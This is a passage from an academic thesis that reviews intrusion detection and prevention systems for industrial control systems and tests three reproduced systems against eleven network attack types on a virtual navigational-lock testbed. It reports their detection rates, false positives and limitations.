represents a third valid approach, as noted in [14], one of the three systems to be
implemented on the testbed will be chosen from this subsection.
In [1], Barbará et al. propose using knowledge of existing attacks, as well as
expected normal behaviors of the system, to identify when a novel, yet-unknown attack is
occurring. Using a system Audit Data Analysis and Mining (ADAM), association rules
are used to find abnormal events in network traffic by analyzing TCP/IP packet headers.
These packets are selected within two different sets of time windows, one only a few
seconds long and the other a day long, in order to offset the issues that arise from using
just a short or long sample window. ADAM then classifies these events into two types of
instances: normal and abnormal. This technique is intended to decrease the number of
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false alarms generated by the NIDS. In order to allow the NIDS to recognize attacks
outside of those in the training data, pseudo-Bayes estimators use information on both
known attacks and researcher-defined “acceptable” usage patterns to determine the
probability of new attacks, prior knowledge of which is not needed. This alleviates the
requirement for the system operator to predict and program against all possible potential
threats to the CPS.
The researchers applied the methodology in [1] against two years’ worth of
DARPA’s Intrusion Detection Evaluation Data using two configurations. In the first
configuration, the classifier was built by removing attacks one at a time from the training
data, then testing the system against the removed attack. In the second configuration, the
classifier was built from attack-free training data and and then tested against that same
training data with one or more new attacks added.
In the first configuration, seven of ten new attacks were fully identified; in the
second, this decreased to four of seven were fully identified. Researchers considered this
successful, as these types of attacks were previously unknown to the IDS and not
included in the initial test data. These results showed that it is possible to develop a
system using pseudo-Bayesian probabilities to determine whether or not an internet
packet is part of a cyber attack. However, attacks that are very similar to normal system
traffic may not be detected. Many insider threats, such as slowly but steadily changing
system settings from a valid control node in a way that could eventually damage physical
portions of the system, do not always differ much from standard, non-malicious behavior.
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The authors of [3] propose an alternate hybrid approach to intrusion detection.
Theirs is a specification-based NIDS that uses a Bayesian network of system states to
determine all possible transition arcs for the system. First, the NIDS’s operator must
construct a threat model consisting of potential cyber attacks and naturally occurring
disruptions to the system to be protected. Prior to system use, the operator must also
define the actions and measurable events required for a state transition; this is used in
constructing the aforementioned Bayesian network of system states. In [3], the authors
concede that this method of NIDS construction “can be a burdensome requirement” due
to the need for an operator with great understanding of the operation of the system to be
protected.

However, once the state network is set up, the NIDS is capable of

automatically identifying when the CPS is moving between states.
In operation, the NIDS from [3] reads current system data from the physical
system’s sensors, a Snort log, and the system’s control panel log in order to determine the
system’s current state and determine when the system is transitioning into a new state.
The NIDS then determines which of the potential scenarios is taking place.

This

knowledge is used by the NIDS to decide if the system is in a normal operational mode or
if it is under attack by comparing system measurements and incoming data to expected
values for the current system state. If a discrepancy is detected, the NIDS raises an alert.
This proposed IDS was tested on a simulated system which included
hardware-in-the-loop, a real-time power system simulator, hardware and virtualized
PLCs, and protective relays. Ten scenarios were identified within the Bayesian diagram,
and the system was run through each scenario five times, each time with a different load.
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A run was considered a success if the IDS identified the correct scenario enacted, or the
correct scenario as viewed from that node.
The target relay correctly identified the scenario every time, with the other three
relays identifying the scenario that appeared to them.

Differences in scenario

identification could be explained by similar definitions. For example, multiple scenarios
included having the current drop to 0 Amperes; sometimes one attack scenario would
cause this current drop, but some relays would identify another scenario with the same
result.
While this system is designed to better account for insider threat, it, much like the
system in [47], relies heavily on the knowledge of the system’s specific operation. All
possible states must be listed in order to create the Bayesian diagram. In terms of a
dam-specific IDS, because different dams are comprised of varying components, from
the number of gates or navigational locks to the presence of a power producing facility,
each dam would require a different Bayesian model, as their state transition arcs would
be different. This results in additional work by system experts to tailor the IDS’s diagram
to each specific dam, rather than have one IDS ready to use on all systems. Navigational
locks alone, however, are fairly predictable, and their states could be reasonably
described using a state model.
While the previously discussed knowledge-based approaches have examined
network traffic in order to identify attacks, the PLC’s control logic has been ignored by
IDS systems.

Because the PLCs are the “brains” of the ICS, however, they hold

information that could be critical in detecting attacks that occur over the network.
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Once an attack is detected, action must be taken by the system operators to
prevent further intrusion and damage. Intrusion prevention systems (IPSs) are designed
to take action on their own to block out attackers while alerting human operators.
Including an IPS would add another layer of security to the ICS it controls. Additionally,
many common ICS communication protocols, including Modbus, send messages without
encryption; the inclusion of encryption for the control traffic would also improve
security.
In [57], the authors propose embedding an IPS in a PLC in order to monitor
network traffic and create rules in real time to block the IP addresses of suspected
attackers. The IPS inspects each packet’s header, latency, and processing information,
then forwards the packet to the PLC portion of the system. K-means clustering is used to
partition collected data into n+1 groups, where n is the number of clients, so that the data
may be analyzed to find anomalies. Additionally, an Advanced Encryption Standard
(AES)-256 encryption layer is added to the PLC in this approach. The key is pre-shared,
meaning it is not sent over the ICS network, and the user must input a keyphrase when
the PLC starts up.
The IPS with encrypted communication was tested on laboratory-scale models of
ICSs, including a water storage tank and a gas pipeline, connected to Raspberry Pis
running OpenPLC [39]. Three types of attacks - interception, injection, and DoS - were
performed against the systems. The AES-256 encryption prevented intercepted messages
from being read by the attacker, and injected packets were rejected by the PLC because
their encryption did not match. However, the IPS rules alone did not stop the injection
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attack. The IPS did detect the DoS and ban the attacker node before any damage was
done to the system.
This solution, proposed by Alves et al., addresses the need for rapid response to
attacks on ICS systems, as well as the advantages of adding encryption [57]. However, in
the case of insider threat, an employee attacker could gradually retrain the ICS to
recognize malicious behaviors as normal. Their paper mentions the fact that malicious
packets can be injected slowly enough that the IPS does not notice them.

This

vulnerability will need to be better addressed in future work in order to produce a more
secure system.

5.1.4 Conclusion
In summary, there are a plethora of approaches to implementing an IDS for a CPS. These
methods include machine learning that is signature based, where samples that have been
previously identified as malicious are used as comparison points to identify potential
threats found in incoming traffic, and anomaly based, in which traffic that differs from a
predefined “normal” are flagged as potentially dangerous. Researchers are also exploring
the deployment of IPSs, which not only detect but attempt to prevent attacks, directly
onto PLCs, as well as the implementation of encryption on CPS communication
networks. Another approach involves looking through the PLC’s logic to learn what will
cause a system fault and to determine expected input values. While none of the solutions
discussed in this literature review perfectly suit the needs of a hydroelectric dam, they
provide a starting point for further investigation and experimentation.
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5.2 Reproduction of Systems
Based upon the previous literature review, three NIDS/IPSs were selected for
reproduction and testing in this research. These systems are the state-based approach
described in [46],

the ladder logic parsing signature-based system in [42], and the

real-time rule creating anomaly detection IPS embedded in the OpenPLC software in
[57]. These three systems represent three different approaches to defending a CPS, as
defined in [14]: one knowledge-based, one behavioral-based, and one a hybrid. Selecting
this variety of NIDS/IPSs allowed the researcher to validate the testing methodology
against a more inclusive set of cases, thus ensuring the methodology would stand up in
tests of other NIDS/IPSs by other researchers in the future. Modifications were made to
the systems as necessary in order to make them applicable to the navigational lock,
particularly with regards to adding the Modbus protocol. These changes are detailed
below.

5.2.1 Ladder Logic Parsing NIDS
The NIDS discussed in [42] was chosen for independent review and testing in this work
due to its novel approach to intrusion detection as a representation of a knowledge-based
IDS, as this system’s approach fits the definition in [14] of an anomaly detection
approach by using “learned models of normal” to identify potential attacks.

An

additional benefit of the NIDS in [42] is its ability to automatically generate rules for the
system based upon the PLC’s programming, rather than relying on the system operator to
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manually identify and program known malicious interactions, as this dependence on the
human operator may result in missed detection of threats.
The author of [42] describes a NIDS which parses a PLC’s ladder logic file prior
to system usage to determine potential vulnerabilities, including divide by zero errors,
overflows, and unused addresses. The NIDS then monitors system traffic and alerts the
user if incoming packets could lead to a system failure, such as writing a zero to an
address in which a denominator is stored. In the original work, the NIDS was built for an
Allen Bradley brand PLC and wrote NIDS rules to be implemented with Snort. This
NIDS monitored traffic sent using the DF1 protocol.
To recreate this system, the researcher first wrote a program in Python to parse
standard text files (*.st), which are used to upload ladder logic programs to PLCs. These
are detailed in industry standard IEC 61131 [LLL]. The parser program reads in the
ladder logic line by line, saving variables and addresses in lists. Each of the four registers
(digital output, analog output, digital input, and analog input) has a separate Python list in
which variable names are stored in the corresponding address’s slot. In the cases of the
analog registers, these lists have an additional dimension to allow for the storage of the
variable’s size in bytes. For example, the variable ‘flow_out’ is a two-byte integer stored
in IW%1, the OpenPLC analog input register. Therefore, in the list used to track the
addresses within the analog input register, the first slot will contain the name ‘flow_out’
and the number 32 to signify the variable is thirty-two bits (two bytes). This parsing
logic also stores the names of variables used internally in the program that are not
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accessible via Modbus connections, such as the outputs of adders that are connected only
to other logic but not to an externally readable address.
This parser also identifies all of the addition and division that takes place in the
ladder logic. If the function is addition, the sum and its addends are stored in an adder
list. One current limitation of this approach is that all addition functions must only take
two inputs. For division, only the divisor is stored in a list, as the only quality checked
for these functions is that the divisor not be equal zero.
The lists generated by the parsing program are then output to a text file so that
they may be used by the intrusion detection program. This second program, also written
in Python, is called from within the existing OpenPLC code whenever a Modbus packet
is received. This required only minor changes to the OpenPLC webserver program in
order to initiate the NIDS program and pass the incoming packet through a command line
call. The NIDS then determines if the packet appears abnormal, and thus potentially
malicious, and logs this information in a text file.
If the incoming packet is a read request, as denoted by Modbus function codes
one through four, the NIDS compares the addresses of each of the values read to the
previously generated list of addresses in use. If the address requested is not used by the
program, or is out of bounds, a time-stamped entry into the NIDS’s log file is made
detailing the packet type and the address requested. Because the sender’s IP address is
contained in the encapsulating packet and not the Modbus portion, this information is not
available to the NIDS and thus not saved to the log for use in potential attack mitigation.
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If the incoming packet is a write request for one or multiple addresses in the QX
register, denoted by function codes 5 and 15, respectively, the addresses to be accessed
are similarly checked and logged appropriately. When there is a request to write to one
or multiple addresses in QW, however, additional lists must be checked. Along with
verifying that the addresses in question are valid and in use, the NIDS checks that the
incoming write data will not cause overflows or divide by zero errors. Because QW is
the only Modbus-writable register with non-binary data types, it is the only register on
which these checks must be performed.
The incoming data and addresses are checked against the lists of addresses in use
generated by the parsing program. If any of the addresses to which data will be written
are stored in the list of adders and sums, the NIDS checks that the incoming data to be
written to the address in question is not larger than the maximum value of the sum
created with that address’s data. If the data to be written is larger than the maximum, an
alert with a timestamp is written into the log file. For example, consider an internal
variable in the ladder logic named “summation” that is produced by summing “adder_1”,
stored in QW 2, and “adder_2”, stored in IW 9. If “summation” is listed as an integer,
which contains two bytes and has a maximum value of 0x00FF, and an incoming Modbus
packet attempts to write 0xFFFF, this would cause an overflow in the addition.
Therefore, in this case, the NIDS would flag the packet as suspicious.
To detect any potential divide by zero errors, the NIDS simply compares the list
of variables which cannot equal zero, as determined by the parse of the ladder logic, and
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checks if the value to be written to the address is a zero. If it is, the packet and timestamp
are logged in the alert file.

5.2.2 State-Based NIDS
The state-based NIDS created by Fovino et al. in [46] was recreated as part of this
research. The system detailed in [46] uses “an internal representation of the controlled
SCADA system” to monitor the CPS’s state and determine if changes in the system were
potentially malicious.

In the reproduced system, this is implemented by storing the

PLC’s memory variables within the NIDS program and using them to track the operation
of the lock system as it transitions among potential states.

The operation of a

navigational lock may be broken down into eight distinct states: 1) filling valve opening,
2) upper gate opening, 3) upper gate closing, 4) filling valve closing, 5) emptying valve
opening, 6) lower gate opening, 7) lower gate closing, and 8) emptying valve closing
[19].
The memory value conditions for these states are shown in Figure 83, with P
denoting a phase and T denoting a transition value that signals a change to the next phase.
A flow chart of these states and their transitions is presented in Figure 84.
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Figure 83: The eight states of the lock system and their conditions
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Figure 84: Flow chart of lock states
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Due to the straightforward nature of lock operation, transitions from state to state occur
linearly. When the lock system is in what is defined here as State 2, for example, the
next state it enters will always be State 3. When State 8, the closing of the emptying
valve, completes and the transition is done, the system loops back to Phase 1, the opening
of the filling valve. The figure is further discussed below.
The states of the lock were determined by the flow of operation detailed by the
Corps of Engineers in [19]. Each state’s criteria, as defined in Figure 83, are based upon
the commands and sensor readings required for that state. For example, in state one, the
filling valve is opening. This requires the command for the fill gate to open to be high, or
binary 1, and for the lower gate and emptying valve to remain closed, meaning their open
commands should both be binary 0. The positions of the gates should both be 700,
denoting 7°, the position of the gates when fully closed. The emptying valve’s position
should be 0, meaning it is also fully closed, and thus the emptying rate should be zero.
To transition from opening the filing valve to opening the upper gate, the
reservoir depth must be equal to the chamber’s depth plus the sill height; when this is
true, the Reservoir Relative value will be binary 1. This is shown in the T1 column to the
right of S1. In the next column, T2, the Upper Gate Command is binary 1, meaning the
gate has been instructed to open. When both T1 and T2 are fulfilled, the system moves
into State 2. If a memory value is written that goes against these state definitions, such as
a binary 1 to the Lower Gate Open memory address, the NIDS logs this as a potential
intrusion. So long as the actual system and the NIDS’s selected state align, no alerts will
be written to the logs.
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This program is called from within the processModbusMessage() function within
OpenPLC’s modbus.cpp file.

5.2.3 Anomaly Detection IPS
The final system used as a potential protection for this testbed is an IPS, as opposed to a
NIDS, as the other two were. This system is classified as an IPS due to its ability to
actively protect the system while in operation, as opposed to the previously described
NIDS, which merely alerted the user by logging incidents [57],[54].

Within the

classification system presented in [14], this system is considered a hybrid of knowledgeand behavioral-based approach, as this IPS creates specifications based upon a model of
“normal” behavior.
Also unlike the other systems tested in this paper, the researcher was able to
obtain the actual code for this anomaly detection IPS rather than having to recreate it
based upon descriptions in journal articles and other documentation. This approach
allowed the researcher to validate her testing methodology on a security program not
rewritten and tweaked specifically for the lock model.
This IPS operates separately from the OpenPLC webserver, as it is implemented
as an independent Python program to be executed on the PLC simultaneous to webserver
operation [57]. The OpenPLC webserver is directed to use port 4321 to receive Modbus
traffic instead of the default 502. Instead, the IPS analyzes packets sent to port 502 on
the PLC, the network port most commonly used for Modbus communication, then relays
them to port 4321 on the PLC [51]. Port 4321 is a generally unused port, meaning it’s
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likely that no other traffic will be received on it; therefore, the server will only receive
packets that have been analyzed by the IPS [57].
The IPS in [57] operates in two phases: training and implementation. In the first,
the machine learning program analyzes traffic received on port 502 of the PLC to create a
baseline for normal system operation. This is done using an unsupervised clustering
algorithm that analyzes the TCP header, packet latency, and processing information of
each packet received by the system. Incoming data is grouped based upon these criteria
in order for the IPS to determine what network traffic is considered acceptable” Ideally,
the system’s network traffic will not vary widely from that which is observed in this first
training phase. If potentially malicious data is sent to the PLC during this training phase,
it will be included in the IPS’s definition of acceptable traffic, meaning similar malicious
data will not be flagged as an attack if received during the IPS’s implementation.
In the second phase, the IPS is deployed against potential threats. Incoming
packets are compared against the established baseline; if the IPS determines traffic from a
particular IP address is abnormal, that address is blocked via a custom rule created
directly by the IPS. It is this automatic address blocking that differentiates this system
from NIDSs, which detect potential attacks and alert the system operator but do not take
action to prevent further intrusion [24].
Because the author did not have to program a reproduction of this IPS and instead
used the program as provided directly by the authors of [57], the code is not included in
this work.
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CHAPTER SIX

Testing Methodology and Results

In order to fairly test and compare NIDS/IPSs across the board, there must be a standard
set of criteria on which the systems are judged outside of the unique threat models used
by their developers. This work presents a testing methodology that may be used to
examine the advantages and disadvantages of different measures taken to protect CPS.
Each NIDS/IPS was installed on a VM running OpenPLC. Then, the baseline
traffic described in Section 6.1 was implemented on another VM, representing the system
operator.

The virtual CPS was allowed to operate under normal conditions for a

pseudo-random amount of time, so that the lock would be in different phases of operation
for each test. Then, a single attack was implemented for fifteen seconds. Once the attack
completed, the attack program’s log of outgoing packets was compared against the
NIDS/IPS’s log to determine if an attack was detected and, if so, how many of the attack
packets were identified as malicious.

This step in the testing was also useful in

determining if any legitimate packets were flagged as potentially harmful; this is called a
false positive. Specifics on the comparison points used to analyze the NIDS/IPSs may be
found in Section 6.2.
In the following sections of this chapter, the baseline network traffic system for
the navigational lock model is described, followed by a listing and description of the
points used to compare NIDS/IPS performance.
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This chapter will also provide a

description of the results of running the aforementioned network attacks on the testbed
with each of the three NIDS/IPSs running on the PLC. These results, combined with the
outcomes of the attacks against an unprotected system as described in Chapter Four, will
be used to determine the usefulness of the different NIDS/IPSs in each potential scenario.

6.1 Baseline Network Traffic
In order to emulate network attacks on the virtual model, a set of baseline network traffic
had to first be established. This traffic was designed to emulate the normal control
operations of the lock, including opening and closing the gates and valves as necessary
and allowing time for the ships to enter and exit the lock chamber. A Python program,
using PyModbus to send and receive Modbus packets in a similar way to the attack
programs, was written to perform these operations as well as print out updates to the user
to alert them as to when a new command was being sent.
Emulating the daily operations of a navigational lock entails opening and closing
gates and valves to allow ships to pass from the reservoir to the tailwater, or downstream,
then again in reverse to serve ship traffic travelling back upstream. Section 2.2 discusses
the typical flow of operation for a navigational lock.
The control traffic program begins by filling the lock and preparing it to receive
downstream-bound traffic. From this point, a loop begins to lower and raise the water
level. Pseudo-random waiting time intervals are built in to allow for ships to “enter” and
“exit” the lock chamber. A flow chart of the control traffic program is shown in Figure
85.
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Figure 85: Loop of commands sent to control the navigational lock
The wait times for ship entrances and exits from the lock are based upon lock usage data
from the USACE [22]. The time taken to open and close the gates and valves aligns with
the times found in [38]; these timing tests are further described in Section 3.5.
The code used to generate the baseline network traffic is included in Appendix G.

6.2 Comparison Points
The performance of each NIDS/IPS implemented on this testbed may be compared based
upon multiple criteria in order to determine the advantages and shortcomings of each
system.

These comparison points include the number of actual attacks detected; the

number of false negatives, in which attacks are mistaken for legitimate actions; and false
positives, in which legitimate actions are mistaken for attacks. Of additional note is
whether or not the NIDS/IPS detects the attacks prior to the PLC malfunctioning. In
some test cases, the attacks caused the PLC to freeze up or need restarted; this is what is
being designated in these tests as a critical failure. This standard of comparison points
will be used and discussed in the following section outlining testing results.
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6.3 NIDS/IPS Performance
To perform the NIDS/IPS comparisons, each of the eleven attacks described in Chapter
Four was implemented six times each against an OpenPLC VM running the ladder-logic
parsing NIDS, state-based NIDS, and finally the anomaly detection IPS, for a total of 198
test runs. Because the locks were allowed to operate a pseudo-random amount of time
prior to the attacks being implemented, the system state varied at the time of attack.
From the results, it appears from the test results that no one state is any more vulnerable
than the others, and the NIDS/IPSs were not more successful in detecting an attack in any
one system state.
The log files and system alerts generated by the NIDS/IPSs were analyzed and
compared to the attack program’s log to determine if each attack was detected and if so,
what percentage of attack packets were flagged as malicious. As expected, no single
system was able to detect all attacks. In fact, MitM Alterations 2 and 3, as well as the
MitM DoS, were not detected by any of the three systems. MitM Alteration 2 and the
MitM DoS are attacks in which packets were altered from the PLC to the HMI. It makes
sense that these attacks were not detected in any of the tests, as the NIDS/IPSs are located
on the PLC itself and thus do not observe any network traffic not being received by the
PLC. Because the Modbus protocol has no authentication method, the PLC and its
security systems have no way to monitor if packets that are sent to other nodes in the CPS
ever reach their destinations.

The third type of attack not detected by any of the

NIDS/IPSs is the MitM Alteration 3 attack, in which commands sent from the system
operator are changed in transit.

These commands, as received by the PLC, are to
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legitimate register addresses and appear to be from the operator; for this reason, the
attacks were not detected by any of the NIDS/IPSs tested.
The following chart, Figure 86, breaks down the percentage of each type of attack
detected by the NIDS/IPSs, regardless of how many individual packets were sent in a
single attack. This figure’s graph is based on the number of times the system detected
even one malicious packet within a set of attack packets, as the detection of a single
malicious packet may be enough to alert the lock operator that something is amiss.

Figure 86: Percentage of attack instances detected
The following subsections detail the performance of each of the NIDS/IPSs tested,
including further analysis of test results and suggestions for improvement of each system.
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6.3.1 Ladder Logic Parsing NIDS
The first NIDS to be tested with the attacks in Chapter Four was the Ladder Logic
Parsing NIDS based upon Richey’s work in [42]. The ladder logic used to control the
lock was run through the system’s parser in order to create a set of rules for the NIDS.
Then, the PLC was deployed on the virtual network with these newly generated NIDS
rules in place and attacked.
As shown in Figure 87, the ladder logic parsing NIDS was able to identify the
first seven attacks described in Chapter Four of this work: both queries, both request
injections, both response injections, and the first MitM alteration attack. These attacks all
attempted to access unused PLC memory addresses, write illegitimate values to the PLC,
or both.

Figure 87: Average percentage of attack instances identified by the ladder-logic parsing
NIDS
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The NIDS had a 100% success rate in detecting the occurrence of six of these
seven detected attack types, with the only exception being the second type of response
injection attacks. At least one packet from these attacks was flagged in only 66.67% of
the tests.
For the reasons discussed previously, this NIDS did not detect the second and
third MitM alterations or the MitM DoS. The LOIC program, which was used to perform
the DoS flooding, rapidly sends TCP traffic to the specified port and IP address of the
system under attack; this traffic does not use the Modbus protocol [52]. Because the
ladder logic parsing NIDS only monitors incoming Modbus traffic, the DoS flooding
attack was not detected. However, the DoS flooding did result in the PLC being unable
to respond to Modbus queries and commands during the attack; this was the only attack
to render the PLC unresponsive in these tests. This NIDS experienced no false positives.

6.3.2 State-Based NIDS
The second system analyzed on this testbed was the state-based NIDS based upon the
design detailed in [46]. The NIDS was tailored around the states and state transitions of a
typical lock, as described in Subsection 5.2.2 and based upon the depiction of lock
operation in [19].
Because this NIDS only monitors changes in the CPS’s state and attempts to
change that state, some seemingly harmless packets, such as the read requests used in
reconnaissance to determine what memory addresses are in use, are not flagged as
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potential intrusions. Figure 88 presents the percentage of times each type of attack was
detected in testing; these results will be further discussed following these figures.

Figure 88: Average percentage of attack instances identified by the state-based NIDS
In [46], the original NIDS on which this system is based was tested against multiple
state-changing attacks; it detected 100% of those such attacks when the system’s data rate
was under 200 Kb/s. This testbed operates under that speed benchmark, and the NIDS
detected 100% of the attacks in which response injections, which could alter the system
state, were sent to PLC addresses in use.
This NIDS was found to detect the lowest variety of attacks, with only the second
response injection attack packets being flagged as suspicious. However, this is due to the
type of attacks used. Response injections and alterations are the only types of attacks
implemented on this testbed that have the potential to change the CPS’s state, meaning
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these are the only attacks which this NIDS could possibly detect. The lower variety of
attacks identified does not correlate to this NIDS being less practical or effective, though.
This NIDS was originally designed for more complex attacks, such as those in which a
chain of events, rather than a single attack, result in the CPS changing its behavior, and
thus system state.
The results of this test back up one of this paper’s hypotheses that while many
NIDS are successful in the publications in which they are introduced, there is a need for
an “even playing field” of a testbed on which attacks of multiple types are implemented
in order to better demonstrate a NIDS/IPS’s abilities outside of the threats chosen by the
NIDS/IPS’s author. While the NIDS in [46] performed perfectly against the second
response injection attack type, these results show that the NIDS may need to be combined
with other system defenses in order to provide more robust protection from a wider
variety of simple attack types, such as those that “script kiddies” or more casual threat
actors would employ to attempt to take down the CPS. The NIDS in [46] provides
valuable system security, but in a specific niche. The rest of this subsection analyzes the
detection results for each attack type and further hypothesizes as to why they were or
were not detected.
This NIDS did not detect the reconnaissance attacks, Query 1 and 2, as these do
not change any memory values or alter the system state. The same is true of both request
injections, as these did not write to the PLC’s memory. Because the NIDS detects attacks
based on their potential to transition the lock system from one state to another, read
requests are ignored.
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When it came to the response injections, the first variant of the attack was never
detected.

However, this was due to the nature of the attack and probability. The

addresses written in Response Injection 1 were randomly generated within the range of
all possible PLC addresses, a total of 3,648 possible memory locations.

Of these,

twenty-four are in use by the navigational lock control program, meaning there is
approximately a 0.66% chance that the attack program would attempt to write to an
address in use. The NIDS monitors only those addresses which have an effect on the
system’s state, and thus operation, so the other 99.34% of the writes are not detected.
Just because writing to these addresses does not directly impact the state does not mean
monitoring these addresses is unimportant, however. An attacker could still cause an
overflow or perform a DoS while only accessing these sections of memory unused by the
lock operation program. This NIDS’s lack of monitoring of unused addresses comes up
frequently in the test results.
The second response injection attack writes only to those addresses known to be
in use on the PLC, thus greatly increasing the likelihood that one or more of the addresses
written will have an impact on the system state. The IDS detected instances of this attack
100% of the time.
For MitM Alteration Attack 1, the values are modified between when they are
sent from the HMI to the PLC; however, it only modified the read requests to result in the
wrong addresses’ values being sent back to the HMI. This does not impact the system
state, and thus it was expected to not be detected. MitM Alteration Attack 2 changes
packets between the PLC and the HMI, so the PLC state is unchanged by the attack.

154

When viewing the HMI, however, it was evident that the system was under attack, as the
values displayed changed to outside their expected ranges.
The third MitM alteration attack changed values from the HMI to be written to the
PLC, modifying commands sent to be zero, or off. The NIDS did not detect these. In all
cases that a command was sent by the HMI to write a one to memory, and thus turn on a
portion of the system, the device being controlled was already off. Therefore, when the
command was altered by the attack program to be zero, or off, this did not change the
state of the system.
The NIDS was not able to detect the flooding DoS, as the packets sent to the PLC
as part of the attack were TCP packets not using Modbus protocol. Because of this, the
incoming packets did not impact the state transitions of the locks, as nothing was written
to the PLC’s memory by the attack packets, so the NIDS did not flag the traffic as a
suspected attack. The MitM DoS was also not detected by the state-based NIDS. This
reason for this is similar to why DoS flooding and MitM Alteration 3 were not detected:
the MitM DoS did not write any packets to the PLC that would result in a change of state.
This NIDS experienced no false positives.

6.3.3 Anomaly Detection IPS
Testing the anomaly detection IPS published in [57] began with training the machine
learning algorithm built into the IPS. This was done by operating the system free of
attacks, with only legitimate packets from the baseline traffic program passing over the
network. Once the IPS reached the monitoring stage, a single instance of an attack was
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run. The process of shutting down the PLC and retraining the IPS algorithm took place
after each attack test run.
Figure 89 demonstrates the percentage of each type of attack instance identified
by the IPS. In [57], the IPS was tested against DoS flooding attacks, where it detected
and blocked the attacking node with 100% accuracy. The results gathered from the
testbed developed here corroborate those results. Every attempt at implementing a DoS
flooding attack was thwarted by the IPS blocking the sender’s IP address.
Because the IPS identifies intrusions based in part upon the size and frequency
with which packets are sent, attacks which only require one or two packets can slip
through undetected. This was the case with the majority of instances of injection attacks
in these tests, where the malicious packets were neither large enough nor frequent enough
to trigger the IPS. In some instances, such as the read requests sent as part of the query
attacks and two of the injection attacks, the packets were sent quickly enough that the IPS
detected them. If an attacker was aware of the IPS’s functionality, however, they could
send these packets more slowly to gain the same amount of information without
triggering the IPS.
When any node disconnects from the PLC, the operator is alerted via the IPS; if
an attacker is connecting, performing malicious activities, then disconnecting, the
operator will see their IP address listed in the IPS’s printout. Thus, there is a possibility
that the system operator would notice the alerts and thus realize an attack is taking place
even if the IPS does not block the node.
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Because this IPS bases its detection in part on the speed at which packets are sent,
the DoS flooding attack was identified nearly immediately in every trial, with the
attacker’s IP address blocked before the packets could overwhelm the PLC and cause a
system slowdown. This is the specific type of threat the IPS was designed to counter.

Figure 89: Average percentage of attack instances identified by the machine learning IPS
The primary flaw in this IPS is also its primary benefit: the automated blocking of
suspicious IP addresses.

If attack packets are sent from a node using a spoofed IP

address that matches the HMI’s IP address, when the IPS detects and blocks that node,
the real HMI will also be blocked. Additionally, adding a new node to the system with a
new IP address requires retraining the IPS to recognize that new node as a part of normal
system traffic. An advantage of the IPS being a separate Python program and not built
into the OpenPLC webserver is that this retraining may be performed without halting the
entire CPS.
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This reliance on IP addresses is also why the MitM Alterations used in this test
were not detected. The altered packets appeared to be coming from the HMI. During the
first set of alteration attacks, however, the IPS printed an alert for “low network latency”,
which may signal the system operator that something abnormal is occurring on the CPS
network.

6.4 Analysis of Testing Standards and Results
In each of the aforementioned NIDS/IPS tests, eleven types of attacks were repeatedly
implemented against virtual CPS testbeds that were identical except for the NIDS/IPSs
implemented on the PLCs of each testbed. The detection and prevention capabilities of
these security measures were then analyzed based upon the comparison points mentioned
in Section 6.2: the number of actual attacks detected, false negatives, and false positives,
as well as if the attack is detected prior to the PLC becoming unresponsive or shutting
down.
While each NIDS/IPS was successful in identifying at least one type of attack, no
single system . Each of these NIDS/IPSs, however, had a nearly 100% success rate in its
respective publication against the attacks chosen by their authors [46],[42],[57]. This is a
legitimate approach to testing one’s NIDS/IPS, but it is not all inclusive or representative
of the real world The results of the testing implemented here show that while these
success rates are reproducible, they are not representative of the NIDS/IPS’s abilities
across a wider range of attack types more akin to those potentially found in actual CPS
operation.
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The conclusion drawn from the results of these tests is that in order to construct a
truly robust security program for a PLC, all three tested NIDS/IPSs could be combined.
However, this could potentially prove to be too memory and processor intensive for some
smaller PLCs.
The two aspects of the tested NIDS/IPSs which proved most effective in securing
the system were 1) whitelisting PLC memory addresses and flagging incoming packets
attempting to access those addresses which are unused by the system, as shown in the
ladder logic parsing NIDS, and 2) training a machine learning algorithm on the expected
traffic sources and rates, as seen in the anomaly detection IPS.
Combining the ladder logic parsing NIDS and the anomaly detection IPS would
provide protection against eight of the tested attacks.

Those attacks which entail

modifying the traffic between the PLC and other nodes on the CPS would require
additional security measures placed elsewhere on the system’s network. These are the
MitM Alteration 2 and the MitM DoS attacks. Without being able to monitor other parts
of the CPS network to determine if the packets are modified between the PLC and their
destination, there is no way for a NIDS/IPS located on the PLC alone to detect such
attacks.
In order for a NIDS/IPS to detect MitM Alteration 3, in which legitimate
commands sent to the PLC are modified, the security system would require more in-depth
programming or training in expected traffic. In this specific case of modifying “on”, or
true, commands to “off”, or false, the difficulty in detection stems from the plausibility of
the operator having sent an “off” command at a given point in system operation. An
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alternative approach to detecting this and other alterations to network packets is to
implement a modified version of Modbus which uses encryption.

This addition of

encryption in sending and receiving Modbus packets is proposed in [57] but was not
duplicated as part of these experiments, as it was deemed out of the scope of the project.
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CHAPTER SEVEN

Future Work and Conclusion

This work opens the door for numerous future projects and expansions upon each of the
three contributions by other researchers. Firstly, the testbed developed in this project can
be expanded upon by adding further systems, such as a hydroelectric portion of a dam
that may be used to power the locks, as is found in the USACE’s Soo Locks [59].
Adding these interdependencies would allow researchers to examine the impact an attack
on one part of the system would have on other connected component within the system,
as well as experiment with the abilities of one component’s PLC’s NIDS/IPS to detect
issues throughout the system based upon the values it received from other components.
For even more realism, the HMI(s) could be connected to other computers on a simulated
enterprise network, opening the door for more experimentation with a larger attack
surface.
Other attacks may also be added to the testing methodology, including replay
attacks and more sophisticated MitM attacks. In [41], Gao introduces additional specific
attacks that may be implemented against a CPS. Researchers can also use this model to
experiment with attack chains, in which a series of events begun by the attacker leads to
wider system access and more destructive power. These more expansive attacks can be
harder to detect due to their reliance on a chain of events rather than a single malicious
packet, so using the test bed to explore their detection would be beneficial.
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Lastly, other IDS/IPSs can be tested using the model and methodology presented
in this work. Whether these additional protections are new or are being tested as part of
an independent review of previous publications, this testbed provides the ability to
compare these IDS/IPSs on an equal playing field that may be updated as technology
advances.
This paper described an approach to meeting the need for a standardized method
for testing and comparing NIDS/IPSs designed for use on CPSs. This approach consisted
of three research contributions: a virtual testbed, a test methodology, and an independent
review of three previously published NIDS/IPSs. The virtual testbed was created using
Matlab Simulink, OpenPLC, and ScadaBR and implemented on multiple networked VMs
in order to emulate the five basic components of a CPS.
The testing methodology provided a standardized way to compare NIDS/IPSs.
This is achieved using a Python program to send baseline network traffic to control and
monitor the emulated physical system while a set of eleven attacks are implemented
individually against the testbed’s CPS. These attacks, which were based on those found
to be used against real CPSs and in researcher tests of other NIDS/IPSs, included two
reconnaissance attacks, four injection attacks, three alteration attacks, and two DoS
attacks.

The testing methodology also detailed the comparison points by which

NIDS/IPSs may be judged: the overall number of attacks detected, the number of
individual attack packets detected, the number of false negatives, the number of false
positives, and whether the attack detection occurs before or after the system begins to
malfunction.
